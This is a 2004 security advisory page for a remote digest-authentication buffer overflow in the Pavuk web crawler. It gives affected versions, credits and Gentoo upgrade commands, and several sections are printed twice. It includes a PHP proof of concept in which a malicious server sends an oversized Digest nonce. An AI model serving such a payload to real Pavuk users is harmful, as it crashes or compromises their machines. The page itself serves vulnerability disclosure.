Pavuk Remote Digest Authentication Buffer Overflow Vulnerability
BID:10797
Info
Pavuk Remote Digest Authentication Buffer Overflow Vulnerability
| Bugtraq ID: | 10797 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 26 2004 12:00AM |
| Updated: | Jul 26 2004 12:00AM |
| Credit: | Discovery is credited to mattmurphy <[email protected]>. Further research is attributed to Roman Drahtmueller, Thomas Biege, Kurt Lieber, Sune Koppeson, and Matt Zimmerman. |
| Vulnerable: |
Pavuk Pavuk 0.9pl28i Pavuk Pavuk 0.928r2 Pavuk Pavuk 0.928r1 Gentoo Linux 1.4 _rc3 Gentoo Linux 1.4 _rc2 Gentoo Linux 1.4 _rc1 Gentoo Linux 1.4 Gentoo Linux 1.2 Gentoo Linux 1.1 a Debian Linux 3.0 sparc Debian Linux 3.0 s/390 Debian Linux 3.0 ppc Debian Linux 3.0 mipsel Debian Linux 3.0 mips Debian Linux 3.0 m68k Debian Linux 3.0 ia-64 Debian Linux 3.0 ia-32 Debian Linux 3.0 hppa Debian Linux 3.0 arm Debian Linux 3.0 alpha Debian Linux 3.0 |
| Not Vulnerable: | |
Discussion
Pavuk Remote Digest Authentication Buffer Overflow Vulnerability
It has been reported that Pavuk is affected by a remote digest authentication buffer overflow vulnerability. This issue is due to a failure of the application to validate string lengths when copying user-supplied data into finite buffers in process memory.
Ultimately a remote malicious web site may exploit this issue to execute arbitrary code on the affected computer with the privileges of the user who started the affected application.
It has been reported that Pavuk is affected by a remote digest authentication buffer overflow vulnerability. This issue is due to a failure of the application to validate string lengths when copying user-supplied data into finite buffers in process memory.
Ultimately a remote malicious web site may exploit this issue to execute arbitrary code on the affected computer with the privileges of the user who started the affected application.
Exploit / POC
Pavuk Remote Digest Authentication Buffer Overflow Vulnerability
The following proof of concept is available:
<?php
$buffer = "";
for ($i = 0; $i < 1024; $i++) {
$buffer .= "A";
}
header("WWW-Authenticate: Digest realm=\"Secured by Digest Auth\"
opaque=\"opaque\" nonce=\"$buffer\"");
header("Status: 401 Not Authorized");
?>
The following proof of concept is available:
<?php
$buffer = "";
for ($i = 0; $i < 1024; $i++) {
$buffer .= "A";
}
header("WWW-Authenticate: Digest realm=\"Secured by Digest Auth\"
opaque=\"opaque\" nonce=\"$buffer\"");
header("Status: 401 Not Authorized");
?>
Solution / Fix
Pavuk Remote Digest Authentication Buffer Overflow Vulnerability
Solution:
Gentoo has released advisory GLSA 200407-19 dealing with this issue. They have recommended that all Pavuk users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=net-misc/pavuk-0.9.28-r3"
# emerge ">=net-misc/pavuk-0.9.28-r3"
Please see the referenced Gentoo advisory for more information.
Solution:
Gentoo has released advisory GLSA 200407-19 dealing with this issue. They have recommended that all Pavuk users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=net-misc/pavuk-0.9.28-r3"
# emerge ">=net-misc/pavuk-0.9.28-r3"
Please see the referenced Gentoo advisory for more information.
References
Pavuk Remote Digest Authentication Buffer Overflow Vulnerability
References:
References: